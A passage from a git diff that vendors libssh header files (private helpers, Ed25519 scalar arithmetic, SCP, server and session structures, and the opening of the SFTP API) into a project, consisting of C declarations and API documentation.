32)) +# endif +#endif + +#ifndef HAVE_NTOHLL +# ifdef WORDS_BIGENDIAN +# define ntohll(x) (x) +# else +# define ntohll(x) \ + (((uint64_t)ntohl((x) & 0xFFFFFFFF) << 32) | ntohl((x) >> 32)) +# endif +#endif + +#ifndef FALL_THROUGH +# ifdef HAVE_FALLTHROUGH_ATTRIBUTE +# define FALL_THROUGH __attribute__ ((fallthrough)) +# else /* HAVE_FALLTHROUGH_ATTRIBUTE */ +# define FALL_THROUGH +# endif /* HAVE_FALLTHROUGH_ATTRIBUTE */ +#endif /* FALL_THROUGH */ + +#ifndef __attr_unused__ +# ifdef HAVE_UNUSED_ATTRIBUTE +# define __attr_unused__ __attribute__((unused)) +# else /* HAVE_UNUSED_ATTRIBUTE */ +# define __attr_unused__ +# endif /* HAVE_UNUSED_ATTRIBUTE */ +#endif /* __attr_unused__ */ + +#ifndef UNUSED_PARAM +#define UNUSED_PARAM(param) param __attr_unused__ +#endif /* UNUSED_PARAM */ + +#ifndef UNUSED_VAR +#define UNUSED_VAR(var) __attr_unused__ var +#endif /* UNUSED_VAR */ + +void ssh_agent_state_free(void *data); + +bool is_ssh_initialized(void); + +#define SSH_ERRNO_MSG_MAX 1024 +char *ssh_strerror(int err_num, char *buf, size_t buflen); + +#ifdef __cplusplus +} +#endif + +#endif /* _LIBSSH_PRIV_H */ diff --git a/vendor/libssh/include/libssh/sc25519.h b/vendor/libssh/include/libssh/sc25519.h new file mode 100644 index 0000000..43b09a0 --- /dev/null +++ b/vendor/libssh/include/libssh/sc25519.h @@ -0,0 +1,82 @@ +/* $OpenBSD: sc25519.h,v 1.3 2013/12/09 11:03:45 markus Exp $ */ + +/* + * Public Domain, Authors: Daniel J. Bernstein, Niels Duif, Tanja Lange, + * Peter Schwabe, Bo-Yin Yang. + * Copied from supercop-20130419/crypto_sign/ed25519/ref/sc25519.h + */ + +#ifndef SC25519_H +#define SC25519_H + +#define sc25519 crypto_sign_ed25519_ref_sc25519 +#define shortsc25519 crypto_sign_ed25519_ref_shortsc25519 +#define sc25519_from32bytes crypto_sign_ed25519_ref_sc25519_from32bytes +#define shortsc25519_from16bytes crypto_sign_ed25519_ref_shortsc25519_from16bytes +#define sc25519_from64bytes crypto_sign_ed25519_ref_sc25519_from64bytes +#define sc25519_from_shortsc crypto_sign_ed25519_ref_sc25519_from_shortsc +#define sc25519_to32bytes crypto_sign_ed25519_ref_sc25519_to32bytes +#define sc25519_iszero_vartime crypto_sign_ed25519_ref_sc25519_iszero_vartime +#define sc25519_isshort_vartime crypto_sign_ed25519_ref_sc25519_isshort_vartime +#define sc25519_lt_vartime crypto_sign_ed25519_ref_sc25519_lt_vartime +#define sc25519_add crypto_sign_ed25519_ref_sc25519_add +#define sc25519_sub_nored crypto_sign_ed25519_ref_sc25519_sub_nored +#define sc25519_mul crypto_sign_ed25519_ref_sc25519_mul +#define sc25519_mul_shortsc crypto_sign_ed25519_ref_sc25519_mul_shortsc +#define sc25519_window3 crypto_sign_ed25519_ref_sc25519_window3 +#define sc25519_window5 crypto_sign_ed25519_ref_sc25519_window5 +#define sc25519_2interleave2 crypto_sign_ed25519_ref_sc25519_2interleave2 + +typedef struct { + uint32_t v[32]; +} sc25519; + +typedef struct { + uint32_t v[16]; +} shortsc25519; + +#ifdef __cplusplus +extern "C" { +#endif + +void sc25519_from32bytes(sc25519 *r, const unsigned char x[32]); + +void shortsc25519_from16bytes(shortsc25519 *r, const unsigned char x[16]); + +void sc25519_from64bytes(sc25519 *r, const unsigned char x[64]); + +void sc25519_from_shortsc(sc25519 *r, const shortsc25519 *x); + +void sc25519_to32bytes(unsigned char r[32], const sc25519 *x); + +int sc25519_iszero_vartime(const sc25519 *x); + +int sc25519_isshort_vartime(const sc25519 *x); + +int sc25519_lt_vartime(const sc25519 *x, const sc25519 *y); + +void sc25519_add(sc25519 *r, const sc25519 *x, const sc25519 *y); + +void sc25519_sub_nored(sc25519 *r, const sc25519 *x, const sc25519 *y); + +void sc25519_mul(sc25519 *r, const sc25519 *x, const sc25519 *y); + +void sc25519_mul_shortsc(sc25519 *r, const sc25519 *x, const shortsc25519 *y); + +/* Convert s into a representation of the form \sum_{i=0}^{84}r[i]2^3 + * with r[i] in {-4,...,3} + */ +void sc25519_window3(signed char r[85], const sc25519 *s); + +/* Convert s into a representation of the form \sum_{i=0}^{50}r[i]2^5 + * with r[i] in {-16,...,15} + */ +void sc25519_window5(signed char r[51], const sc25519 *s); + +void sc25519_2interleave2(unsigned char r[127], const sc25519 *s1, const sc25519 *s2); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/vendor/libssh/include/libssh/scp.h b/vendor/libssh/include/libssh/scp.h new file mode 100644 index 0000000..089fcfc --- /dev/null +++ b/vendor/libssh/include/libssh/scp.h @@ -0,0 +1,63 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2003-2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef _SCP_H +#define _SCP_H + +enum ssh_scp_states { + SSH_SCP_NEW, //Data structure just created + SSH_SCP_WRITE_INITED, //Gave our intention to write + SSH_SCP_WRITE_WRITING,//File was opened and currently writing + SSH_SCP_READ_INITED, //Gave our intention to read + SSH_SCP_READ_REQUESTED, //We got a read request + SSH_SCP_READ_READING, //File is opened and reading + SSH_SCP_ERROR, //Something bad happened + SSH_SCP_TERMINATED //Transfer finished +}; + +struct ssh_scp_struct { + ssh_session session; + int mode; + int recursive; + ssh_channel channel; + char *location; + enum ssh_scp_states state; + uint64_t filelen; + uint64_t processed; + enum ssh_scp_request_types request_type; + char *request_name; + char *warning; + int request_mode; +}; + +#ifdef __cplusplus +extern "C" { +#endif + +int ssh_scp_read_string(ssh_scp scp, char *buffer, size_t len); +int ssh_scp_integer_mode(const char *mode); +char *ssh_scp_string_mode(int mode); +int ssh_scp_response(ssh_scp scp, char **response); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/vendor/libssh/include/libssh/server.h b/vendor/libssh/include/libssh/server.h new file mode 100644 index 0000000..80f74e1 --- /dev/null +++ b/vendor/libssh/include/libssh/server.h @@ -0,0 +1,409 @@ +/* Public include file for server support */ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2003-2008 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/** + * @defgroup libssh_server The libssh server API + * + * @{ + */ + +#ifndef SERVER_H +#define SERVER_H + +#include "libssh/libssh.h" +#define SERVERBANNER CLIENTBANNER + +#ifdef __cplusplus +extern "C" { +#endif + +enum ssh_bind_options_e { + SSH_BIND_OPTIONS_BINDADDR, + SSH_BIND_OPTIONS_BINDPORT, + SSH_BIND_OPTIONS_BINDPORT_STR, + SSH_BIND_OPTIONS_HOSTKEY, + SSH_BIND_OPTIONS_DSAKEY, + SSH_BIND_OPTIONS_RSAKEY, + SSH_BIND_OPTIONS_BANNER, + SSH_BIND_OPTIONS_LOG_VERBOSITY, + SSH_BIND_OPTIONS_LOG_VERBOSITY_STR, + SSH_BIND_OPTIONS_ECDSAKEY, + SSH_BIND_OPTIONS_IMPORT_KEY, + SSH_BIND_OPTIONS_KEY_EXCHANGE, + SSH_BIND_OPTIONS_CIPHERS_C_S, + SSH_BIND_OPTIONS_CIPHERS_S_C, + SSH_BIND_OPTIONS_HMAC_C_S, + SSH_BIND_OPTIONS_HMAC_S_C, + SSH_BIND_OPTIONS_CONFIG_DIR, + SSH_BIND_OPTIONS_PUBKEY_ACCEPTED_KEY_TYPES, + SSH_BIND_OPTIONS_HOSTKEY_ALGORITHMS, + SSH_BIND_OPTIONS_PROCESS_CONFIG, + SSH_BIND_OPTIONS_MODULI, + SSH_BIND_OPTIONS_RSA_MIN_SIZE, +}; + +typedef struct ssh_bind_struct* ssh_bind; + +/* Callback functions */ + +/** + * @brief Incoming connection callback. This callback is called when a ssh_bind + * has a new incoming connection. + * @param sshbind Current sshbind session handler + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_bind_incoming_connection_callback) (ssh_bind sshbind, + void *userdata); + +/** + * @brief These are the callbacks exported by the ssh_bind structure. + * + * They are called by the server module when events appear on the network. + */ +struct ssh_bind_callbacks_struct { + /** DON'T SET THIS use ssh_callbacks_init() instead. */ + size_t size; + /** A new connection is available. */ + ssh_bind_incoming_connection_callback incoming_connection; +}; +typedef struct ssh_bind_callbacks_struct *ssh_bind_callbacks; + +/** + * @brief Creates a new SSH server bind. + * + * @return A newly allocated ssh_bind session pointer. + */ +LIBSSH_API ssh_bind ssh_bind_new(void); + +LIBSSH_API int ssh_bind_options_set(ssh_bind sshbind, + enum ssh_bind_options_e type, const void *value); + +LIBSSH_API int ssh_bind_options_parse_config(ssh_bind sshbind, + const char *filename); + +/** + * @brief Start listening to the socket. + * + * @param ssh_bind_o The ssh server bind to use. + * + * @return 0 on success, < 0 on error. + */ +LIBSSH_API int ssh_bind_listen(ssh_bind ssh_bind_o); + +/** + * @brief Set the callback for this bind. + * + * @param[in] sshbind The bind to set the callback on. + * + * @param[in] callbacks An already set up ssh_bind_callbacks instance. + * + * @param[in] userdata A pointer to private data to pass to the callbacks. + * + * @return SSH_OK on success, SSH_ERROR if an error occurred. + * + * @code + * struct ssh_callbacks_struct cb = { + * .userdata = data, + * .auth_function = my_auth_function + * }; + * ssh_callbacks_init(&cb); + * ssh_bind_set_callbacks(session, &cb); + * @endcode + */ +LIBSSH_API int ssh_bind_set_callbacks(ssh_bind sshbind, ssh_bind_callbacks callbacks, + void *userdata); + +/** + * @brief Set the session to blocking/nonblocking mode. + * + * @param ssh_bind_o The ssh server bind to use. + * + * @param blocking Zero for nonblocking mode. + */ +LIBSSH_API void ssh_bind_set_blocking(ssh_bind ssh_bind_o, int blocking); + +/** + * @brief Recover the file descriptor from the session. + * + * @param ssh_bind_o The ssh server bind to get the fd from. + * + * @return The file descriptor. + */ +LIBSSH_API socket_t ssh_bind_get_fd(ssh_bind ssh_bind_o); + +/** + * @brief Set the file descriptor for a session. + * + * @param ssh_bind_o The ssh server bind to set the fd. + * + * @param fd The file descriptssh_bind B + */ +LIBSSH_API void ssh_bind_set_fd(ssh_bind ssh_bind_o, socket_t fd); + +/** + * @brief Allow the file descriptor to accept new sessions. + * + * @param ssh_bind_o The ssh server bind to use. + */ +LIBSSH_API void ssh_bind_fd_toaccept(ssh_bind ssh_bind_o); + +/** + * @brief Accept an incoming ssh connection and initialize the session. + * + * @param ssh_bind_o The ssh server bind to accept a connection. + * @param session A preallocated ssh session + * @see ssh_new + * @return SSH_OK when a connection is established + */ +LIBSSH_API int ssh_bind_accept(ssh_bind ssh_bind_o, ssh_session session); + +/** + * @brief Accept an incoming ssh connection on the given file descriptor + * and initialize the session. + * + * @param ssh_bind_o The ssh server bind to accept a connection. + * @param session A preallocated ssh session + * @param fd A file descriptor of an already established TCP + * inbound connection + * @see ssh_new + * @see ssh_bind_accept + * @return SSH_OK when a connection is established + */ +LIBSSH_API int ssh_bind_accept_fd(ssh_bind ssh_bind_o, ssh_session session, + socket_t fd); + +LIBSSH_API ssh_gssapi_creds ssh_gssapi_get_creds(ssh_session session); + +/** + * @brief Handles the key exchange and set up encryption + * + * @param session A connected ssh session + * @see ssh_bind_accept + * @return SSH_OK if the key exchange was successful + */ +LIBSSH_API int ssh_handle_key_exchange(ssh_session session); + +/** + * @brief Initialize the set of key exchange, hostkey, ciphers, MACs, and + * compression algorithms for the given ssh_session. + * + * The selection of algorithms and keys used are determined by the + * options that are currently set in the given ssh_session structure. + * May only be called before the initial key exchange has begun. + * + * @param session The session structure to initialize. + * + * @see ssh_handle_key_exchange + * @see ssh_options_set + * + * @return SSH_OK if initialization succeeds. + */ + +LIBSSH_API int ssh_server_init_kex(ssh_session session); + +/** + * @brief Free a ssh servers bind. + * + * @param ssh_bind_o The ssh server bind to free. + */ +LIBSSH_API void ssh_bind_free(ssh_bind ssh_bind_o); + +/** + * @brief Set the acceptable authentication methods to be sent to the client. + * + * + * @param[in] session The server session + * + * @param[in] auth_methods The authentication methods we will support, which + * can be bitwise-or'd. + * + * Supported methods are: + * + * SSH_AUTH_METHOD_PASSWORD + * SSH_AUTH_METHOD_PUBLICKEY + * SSH_AUTH_METHOD_HOSTBASED + * SSH_AUTH_METHOD_INTERACTIVE + * SSH_AUTH_METHOD_GSSAPI_MIC + */ +LIBSSH_API void ssh_set_auth_methods(ssh_session session, int auth_methods); + +/** + * @brief Send the server's issue-banner to client. + * + * + * @param[in] session The server session. + * + * @param[in] banner The server's banner. + * + * @return SSH_OK on success, SSH_ERROR on error. + */ +LIBSSH_API int ssh_send_issue_banner(ssh_session session, const ssh_string banner); + +/********************************************************** + * SERVER MESSAGING + **********************************************************/ + +/** + * @brief Reply with a standard reject message. + * + * Use this function if you don't know what to respond or if you want to reject + * a request. + * + * @param[in] msg The message to use for the reply. + * + * @return 0 on success, -1 on error. + * + * @see ssh_message_get() + */ +LIBSSH_API int ssh_message_reply_default(ssh_message msg); + +/** + * @brief Get the name of the authenticated user. + * + * @param[in] msg The message to get the username from. + * + * @return The username or NULL if an error occurred. + * + * @see ssh_message_get() + * @see ssh_message_type() + */ +LIBSSH_API const char *ssh_message_auth_user(ssh_message msg); + +/** + * @brief Get the password of the authenticated user. + * + * @param[in] msg The message to get the password from. + * + * @return The username or NULL if an error occurred. + * + * @see ssh_message_get() + * @see ssh_message_type() + * @deprecated This function should not be used anymore as there is a + * callback based server implementation now auth_password_function. + */ +SSH_DEPRECATED LIBSSH_API const char *ssh_message_auth_password(ssh_message msg); + +/** + * @brief Get the publickey of the authenticated user. + * + * If you need the key for later user you should duplicate it. + * + * @param[in] msg The message to get the public key from. + * + * @return The public key or NULL. + * + * @see ssh_key_dup() + * @see ssh_key_cmp() + * @see ssh_message_get() + * @see ssh_message_type() + * @deprecated This function should not be used anymore as there is a + * callback based server implementation auth_pubkey_function. + */ +SSH_DEPRECATED LIBSSH_API ssh_key ssh_message_auth_pubkey(ssh_message msg); + +LIBSSH_API int ssh_message_auth_kbdint_is_response(ssh_message msg); + +/** + * @param[in] msg The message to get the public key state from. + * + * @deprecated This function should not be used anymore as there is a + * callback based server implementation auth_pubkey_function + */ +SSH_DEPRECATED LIBSSH_API enum ssh_publickey_state_e ssh_message_auth_publickey_state(ssh_message msg); + +LIBSSH_API int ssh_message_auth_reply_success(ssh_message msg,int partial); +LIBSSH_API int ssh_message_auth_reply_pk_ok(ssh_message msg, ssh_string algo, ssh_string pubkey); +LIBSSH_API int ssh_message_auth_reply_pk_ok_simple(ssh_message msg); + +LIBSSH_API int ssh_message_auth_set_methods(ssh_message msg, int methods); + +LIBSSH_API int ssh_message_auth_interactive_request(ssh_message msg, + const char *name, const char *instruction, + unsigned int num_prompts, const char **prompts, char *echo); + +LIBSSH_API int ssh_message_service_reply_success(ssh_message msg); +LIBSSH_API const char *ssh_message_service_service(ssh_message msg); + +LIBSSH_API int ssh_message_global_request_reply_success(ssh_message msg, + uint16_t bound_port); + +LIBSSH_API void ssh_set_message_callback(ssh_session session, + int(*ssh_bind_message_callback)(ssh_session session, ssh_message msg, void *data), + void *data); +LIBSSH_API int ssh_execute_message_callbacks(ssh_session session); + +LIBSSH_API const char *ssh_message_channel_request_open_originator(ssh_message msg); +LIBSSH_API int ssh_message_channel_request_open_originator_port(ssh_message msg); +LIBSSH_API const char *ssh_message_channel_request_open_destination(ssh_message msg); +LIBSSH_API int ssh_message_channel_request_open_destination_port(ssh_message msg); + +LIBSSH_API ssh_channel ssh_message_channel_request_channel(ssh_message msg); + +/* Replaced by callback based server implementation function channel_pty_request_function*/ +SSH_DEPRECATED LIBSSH_API const char *ssh_message_channel_request_pty_term(ssh_message msg); +SSH_DEPRECATED LIBSSH_API int ssh_message_channel_request_pty_width(ssh_message msg); +SSH_DEPRECATED LIBSSH_API int ssh_message_channel_request_pty_height(ssh_message msg); +SSH_DEPRECATED LIBSSH_API int ssh_message_channel_request_pty_pxwidth(ssh_message msg); +SSH_DEPRECATED LIBSSH_API int ssh_message_channel_request_pty_pxheight(ssh_message msg); + +LIBSSH_API const char *ssh_message_channel_request_env_name(ssh_message msg); +LIBSSH_API const char *ssh_message_channel_request_env_value(ssh_message msg); + +LIBSSH_API const char *ssh_message_channel_request_command(ssh_message msg); + +LIBSSH_API const char *ssh_message_channel_request_subsystem(ssh_message msg); + +/* Replaced by callback based server implementation function channel_open_request_x11_function*/ +SSH_DEPRECATED LIBSSH_API int ssh_message_channel_request_x11_single_connection(ssh_message msg); +SSH_DEPRECATED LIBSSH_API const char *ssh_message_channel_request_x11_auth_protocol(ssh_message msg); +SSH_DEPRECATED LIBSSH_API const char *ssh_message_channel_request_x11_auth_cookie(ssh_message msg); +SSH_DEPRECATED LIBSSH_API int ssh_message_channel_request_x11_screen_number(ssh_message msg); + +LIBSSH_API const char *ssh_message_global_request_address(ssh_message msg); +LIBSSH_API int ssh_message_global_request_port(ssh_message msg); + +LIBSSH_API int ssh_channel_open_reverse_forward(ssh_channel channel, const char *remotehost, + int remoteport, const char *sourcehost, int localport); +LIBSSH_API int ssh_channel_open_x11(ssh_channel channel, + const char *orig_addr, int orig_port); + +LIBSSH_API int ssh_channel_request_send_exit_status(ssh_channel channel, + int exit_status); +LIBSSH_API int ssh_channel_request_send_exit_signal(ssh_channel channel, + const char *signum, + int core, + const char *errmsg, + const char *lang); + +LIBSSH_API int ssh_send_keepalive(ssh_session session); + +/* deprecated functions */ +SSH_DEPRECATED LIBSSH_API int ssh_accept(ssh_session session); +SSH_DEPRECATED LIBSSH_API int channel_write_stderr(ssh_channel channel, + const void *data, uint32_t len); + +#ifdef __cplusplus +} +#endif /* __cplusplus */ + +#endif /* SERVER_H */ + +/** @} */ diff --git a/vendor/libssh/include/libssh/session.h b/vendor/libssh/include/libssh/session.h new file mode 100644 index 0000000..9793619 --- /dev/null +++ b/vendor/libssh/include/libssh/session.h @@ -0,0 +1,285 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef SESSION_H_ +#define SESSION_H_ +#include + +#include "libssh/priv.h" +#include "libssh/callbacks.h" +#include "libssh/kex.h" +#include "libssh/packet.h" +#include "libssh/pcap.h" +#include "libssh/auth.h" +#include "libssh/channels.h" +#include "libssh/poll.h" +#include "libssh/config.h" +#include "libssh/misc.h" + +/* These are the different states a SSH session can be into its life */ +enum ssh_session_state_e { + SSH_SESSION_STATE_NONE=0, + SSH_SESSION_STATE_CONNECTING, + SSH_SESSION_STATE_SOCKET_CONNECTED, + SSH_SESSION_STATE_BANNER_RECEIVED, + SSH_SESSION_STATE_INITIAL_KEX, + SSH_SESSION_STATE_KEXINIT_RECEIVED, + SSH_SESSION_STATE_DH, + SSH_SESSION_STATE_AUTHENTICATING, + SSH_SESSION_STATE_AUTHENTICATED, + SSH_SESSION_STATE_ERROR, + SSH_SESSION_STATE_DISCONNECTED +}; + +enum ssh_dh_state_e { + DH_STATE_INIT=0, + DH_STATE_GROUP_SENT, + DH_STATE_REQUEST_SENT, + DH_STATE_INIT_SENT, + DH_STATE_NEWKEYS_SENT, + DH_STATE_FINISHED +}; + +enum ssh_pending_call_e { + SSH_PENDING_CALL_NONE = 0, + SSH_PENDING_CALL_CONNECT, + SSH_PENDING_CALL_AUTH_NONE, + SSH_PENDING_CALL_AUTH_PASSWORD, + SSH_PENDING_CALL_AUTH_OFFER_PUBKEY, + SSH_PENDING_CALL_AUTH_PUBKEY, + SSH_PENDING_CALL_AUTH_AGENT, + SSH_PENDING_CALL_AUTH_KBDINT_INIT, + SSH_PENDING_CALL_AUTH_KBDINT_SEND, + SSH_PENDING_CALL_AUTH_GSSAPI_MIC +}; + +/* libssh calls may block an undefined amount of time */ +#define SSH_SESSION_FLAG_BLOCKING 1 + +/* Client successfully authenticated */ +#define SSH_SESSION_FLAG_AUTHENTICATED 2 + +/* The KEXINIT message can be sent first by either of the parties so this flag + * indicates that the message was already sent to make sure it is sent and avoid + * sending it twice during key exchange to simplify the state machine. */ +#define SSH_SESSION_FLAG_KEXINIT_SENT 4 + +/* The current SSH2 session implements the "strict KEX" feature and should behave + * differently on SSH2_MSG_NEWKEYS. */ +#define SSH_SESSION_FLAG_KEX_STRICT 0x0010 +/* Unexpected packets have been sent while the session was still unencrypted */ +#define SSH_SESSION_FLAG_KEX_TAINTED 0x0020 + +/* codes to use with ssh_handle_packets*() */ +/* Infinite timeout */ +#define SSH_TIMEOUT_INFINITE -1 +/* Use the timeout defined by user if any. Mostly used with new connections */ +#define SSH_TIMEOUT_USER -2 +/* Use the default timeout, depending on ssh_is_blocking() */ +#define SSH_TIMEOUT_DEFAULT -3 +/* Don't block at all */ +#define SSH_TIMEOUT_NONBLOCKING 0 + +/* options flags */ +/* Authentication with *** allowed */ +#define SSH_OPT_FLAG_PASSWORD_AUTH 0x1 +#define SSH_OPT_FLAG_PUBKEY_AUTH 0x2 +#define SSH_OPT_FLAG_KBDINT_AUTH 0x4 +#define SSH_OPT_FLAG_GSSAPI_AUTH 0x8 + +/* Escape expansion of different variables */ +#define SSH_OPT_EXP_FLAG_KNOWNHOSTS 0x1 +#define SSH_OPT_EXP_FLAG_GLOBAL_KNOWNHOSTS 0x2 +#define SSH_OPT_EXP_FLAG_PROXYCOMMAND 0x4 +#define SSH_OPT_EXP_FLAG_IDENTITY 0x8 + +/* extensions flags */ +/* negotiation enabled */ +#define SSH_EXT_NEGOTIATION 0x01 +/* server-sig-algs extension */ +#define SSH_EXT_SIG_RSA_SHA256 0x02 +#define SSH_EXT_SIG_RSA_SHA512 0x04 + +/* members that are common to ssh_session and ssh_bind */ +struct ssh_common_struct { + struct error_struct error; + ssh_callbacks callbacks; /* Callbacks to user functions */ + int log_verbosity; /* verbosity of the log functions */ +}; + +struct ssh_session_struct { + struct ssh_common_struct common; + struct ssh_socket_struct *socket; + char *serverbanner; + char *clientbanner; + int protoversion; + int server; + int client; + int openssh; + uint32_t send_seq; + uint32_t recv_seq; + struct ssh_timestamp last_rekey_time; + + int connected; + /* !=0 when the user got a session handle */ + int alive; + /* two previous are deprecated */ + /* int auth_service_asked; */ + + /* session flags (SSH_SESSION_FLAG_*) */ + int flags; + + /* Extensions negotiated using RFC 8308 */ + uint32_t extensions; + + ssh_string banner; /* that's the issue banner from the server */ + char *peer_discon_msg; /* disconnect message from the remote host */ + char *disconnect_message; /* disconnect message to be set */ + ssh_buffer in_buffer; + PACKET in_packet; + ssh_buffer out_buffer; + struct ssh_list *out_queue; /* This list is used for delaying packets + when rekeying is required */ + + /* the states are used by the nonblocking stuff to remember */ + /* where it was before being interrupted */ + enum ssh_pending_call_e pending_call_state; + enum ssh_session_state_e session_state; + enum ssh_packet_state_e packet_state; + enum ssh_dh_state_e dh_handshake_state; + enum ssh_channel_request_state_e global_req_state; + struct ssh_agent_state_struct *agent_state; + + struct { + struct ssh_auth_auto_state_struct *auto_state; + enum ssh_auth_service_state_e service_state; + enum ssh_auth_state_e state; + uint32_t supported_methods; + uint32_t current_method; + } auth; + + /* Sending this flag before key exchange to save one round trip during the + * key exchange. This might make sense on high-latency connections. + * So far internal only for testing. Usable only on the client side -- + * there is no key exchange method that would start with server message */ + bool send_first_kex_follows; + /* + * RFC 4253, 7.1: if the first_kex_packet_follows flag was set in + * the received SSH_MSG_KEXINIT, but the guess was wrong, this + * field will be set such that the following guessed packet will + * be ignored on the receiving side. Once that packet has been received and + * ignored, this field is cleared. + * On the sending side, this is set after we got peer KEXINIT message and we + * need to resend the initial message of the negotiated KEX algorithm. + */ + bool first_kex_follows_guess_wrong; + + ssh_buffer in_hashbuf; + ssh_buffer out_hashbuf; + struct ssh_crypto_struct *current_crypto; + /* next_crypto is going to be used after a SSH2_MSG_NEWKEYS */ + struct ssh_crypto_struct *next_crypto; + + struct ssh_list *channels; /* linked list of channels */ + uint32_t maxchannel; + ssh_agent agent; /* ssh agent */ + + /* keyboard interactive data */ + struct ssh_kbdint_struct *kbdint; + struct ssh_gssapi_struct *gssapi; + + /* server host keys */ + struct { + ssh_key rsa_key; + ssh_key dsa_key; + ssh_key ecdsa_key; + ssh_key ed25519_key; + /* The type of host key wanted by client */ + enum ssh_keytypes_e hostkey; + enum ssh_digest_e hostkey_digest; + } srv; + + /* auths accepted by server */ + struct ssh_list *ssh_message_list; /* list of delayed SSH messages */ + int (*ssh_message_callback)(struct ssh_session_struct *session, + ssh_message msg, void *userdata); + void *ssh_message_callback_data; + ssh_server_callbacks server_callbacks; + void (*ssh_connection_callback)( struct ssh_session_struct *session); + struct ssh_packet_callbacks_struct default_packet_callbacks; + struct ssh_list *packet_callbacks; + struct ssh_socket_callbacks_struct socket_callbacks; + ssh_poll_ctx default_poll_ctx; + /* options */ +#ifdef WITH_PCAP + ssh_pcap_context pcap_ctx; /* pcap debugging context */ +#endif + struct { + struct ssh_list *identity; + struct ssh_list *identity_non_exp; + char *username; + char *host; + char *bindaddr; /* bind the client to an ip addr */ + char *sshdir; + char *knownhosts; + char *global_knownhosts; + char *wanted_methods[SSH_KEX_METHODS]; + char *pubkey_accepted_types; + char *ProxyCommand; + char *custombanner; + char *moduli_file; + char *agent_socket; + unsigned long timeout; /* seconds */ + unsigned long timeout_usec; + uint16_t port; + socket_t fd; + int StrictHostKeyChecking; + char compressionlevel; + char *gss_server_identity; + char *gss_client_identity; + int gss_delegate_creds; + int flags; + int exp_flags; + int nodelay; + bool config_processed; + uint8_t options_seen[SOC_MAX]; + uint64_t rekey_data; + uint32_t rekey_time; + int rsa_min_size; + } opts; + /* counters */ + ssh_counter socket_counter; + ssh_counter raw_counter; +}; + +/** @internal + * @brief a termination function evaluates the status of an object + * @param user[in] object to evaluate + * @returns 1 if the polling routine should terminate, 0 instead + */ +typedef int (*ssh_termination_function)(void *user); +int ssh_handle_packets(ssh_session session, int timeout); +int ssh_handle_packets_termination(ssh_session session, + int timeout, + ssh_termination_function fct, + void *user); +void ssh_socket_exception_callback(int code, int errno_code, void *user); + +#endif /* SESSION_H_ */ diff --git a/vendor/libssh/include/libssh/sftp.h b/vendor/libssh/include/libssh/sftp.h new file mode 100644 index 0000000..c713466 --- /dev/null +++ b/vendor/libssh/include/libssh/sftp.h @@ -0,0 +1,1051 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2003-2008 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/** + * @defgroup libssh_sftp The libssh SFTP API + * + * @brief SFTP handling functions + * + * SFTP commands are channeled by the ssh sftp subsystem. Every packet is + * sent/read using a sftp_packet type structure. Related to these packets, + * most of the server answers are messages having an ID and a message + * specific part. It is described by sftp_message when reading a message, + * the sftp system puts it into the queue, so the process having asked for + * it can fetch it, while continuing to read for other messages (it is + * unspecified in which order messages may be sent back to the client + * + * @{ + */ + +#ifndef SFTP_H +#define SFTP_H + +#include + +#include "libssh.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef _WIN32 +#ifndef uid_t + typedef uint32_t uid_t; +#endif /* uid_t */ +#ifndef gid_t + typedef uint32_t gid_t; +#endif /* gid_t */ +#ifdef _MSC_VER + +# ifndef _SSIZE_T_DEFINED +# undef ssize_t +# include + typedef _W64 SSIZE_T ssize_t; +# define _SSIZE_T_DEFINED +# endif /* _SSIZE_T_DEFINED */ + +#endif /* _MSC_VER */ +#endif /* _WIN32 */ + +#define LIBSFTP_VERSION 3 + +typedef struct sftp_attributes_struct* sftp_attributes; +typedef struct sftp_client_message_struct* sftp_client_message; +typedef struct sftp_dir_struct* sftp_dir; +typedef struct sftp_ext_struct *sftp_ext; +typedef struct sftp_file_struct* sftp_file; +typedef struct sftp_message_struct* sftp_message; +typedef struct sftp_packet_struct* sftp_packet; +typedef struct sftp_request_queue_struct* sftp_request_queue; +typedef struct 